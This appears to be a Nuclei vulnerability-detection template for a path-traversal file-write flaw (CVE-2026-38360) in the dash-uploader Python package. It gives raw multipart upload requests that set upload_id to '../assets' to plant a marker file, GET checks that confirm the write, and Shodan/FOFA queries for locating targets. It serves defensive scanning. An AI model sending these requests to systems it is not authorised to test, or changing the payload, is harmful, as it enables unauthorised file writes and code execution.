id: CVE-2026-38360 info: name: dash-uploader 0.1.0 - 0.7.0a2 - Unauthenticated Arbitrary File Write via Path Traversal author: a1ohadance severity: critical description: | fohrloop dash-uploader v0.1.0 through v0.7.0a2 contains a directory traversal vulnerability caused by improper handling in dash_uploader/httprequesthandler.py components, letting remote attackers execute arbitrary code, exploit requires no special privileges. impact: | Remote attackers can execute arbitrary code, potentially leading to full system compromise. remediation: | Update to the latest version beyond v0.7.0a2. reference: - https://github.com/a1ohadance/CVE-2026-38360 - https://nvd.nist.gov/vuln/detail/CVE-2026-38360 - https://github.com/advisories/GHSA-3rf6-x59v-5jfv - https://github.com/fohrloop/dash-uploader/issues/153 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-38360 epss-score: 0.05982 epss-percentile: 0.92537 cwe-id: CWE-22 metadata: verified: true max-request: 4 vendor: fohrloop product: dash-uploader shodan-query: html:"_dash-undo-redo" fofa-query: body="_dash-undo-redo" tags: cve,cve2026,dash-uploader,path-traversal,file-write,unauth,python variables: marker: "{{rand_base(16)}}" filename: "nuclei_{{rand_base(8)}}.txt" boundary: "----nuclei{{rand_base(16)}}" flow: (http(1) && http(2)) || (http(3) && http(4)) http: - raw: - | POST /API/dash-uploader HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary={{boundary}} --{{boundary}} Content-Disposition: form-data; name="flowChunkNumber" 1 --{{boundary}} Content-Disposition: form-data; name="flowChunkSize" 1048576 --{{boundary}} Content-Disposition: form-data; name="flowCurrentChunkSize" 16 --{{boundary}} Content-Disposition: form-data; name="flowTotalSize" 16 --{{boundary}} Content-Disposition: form-data; name="flowIdentifier" nuclei-{{rand_base(8)}} --{{boundary}} Content-Disposition: form-data; name="flowFilename" {{filename}} --{{boundary}} Content-Disposition: form-data; name="flowRelativePath" {{filename}} --{{boundary}} Content-Disposition: form-data; name="flowTotalChunks" 1 --{{boundary}} Content-Disposition: form-data; name="upload_id" ../assets --{{boundary}} Content-Disposition: form-data; name="file"; filename="{{filename}}" Content-Type: application/octet-stream {{marker}} --{{boundary}}-- matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, filename)' internal: true condition: and - raw: - | GET /assets/{{filename}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, marker)' condition: and - raw: - | POST /API/resumable HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary={{boundary}} --{{boundary}} Content-Disposition: form-data; name="resumableChunkNumber" 1 --{{boundary}} Content-Disposition: form-data; name="resumableChunkSize" 1048576 --{{boundary}} Content-Disposition: form-data; name="resumableCurrentChunkSize" 16 --{{boundary}} Content-Disposition: form-data; name="resumableTotalSize" 16 --{{boundary}} Content-Disposition: form-data; name="resumableIdentifier" nuclei-{{rand_base(8)}} --{{boundary}} Content-Disposition: form-data; name="resumableFilename" {{filename}} --{{boundary}} Content-Disposition: form-data; name="resumableRelativePath" {{filename}} --{{boundary}} Content-Disposition: form-data; name="resumableTotalChunks" 1 --{{boundary}} Content-Disposition: form-data; name="upload_id" ../assets --{{boundary}} Content-Disposition: form-data; name="file"; filename="{{filename}}" Content-Type: application/octet-stream {{marker}} --{{boundary}}-- matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, filename)' internal: true condition: and - raw: - | GET /assets/{{filename}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, marker)' condition: and # digest: 4a0a00473045022100c8a82982e87a9979d3acb6248ff8622928be47b5c8fda2bb96af0f85f16a5e5f02201b5f79ec340dca3e3db10d1e8a5bc6c4d9375577b198a190ad372fbbfba24d84:922c64590222798bb761d5b6d8e72950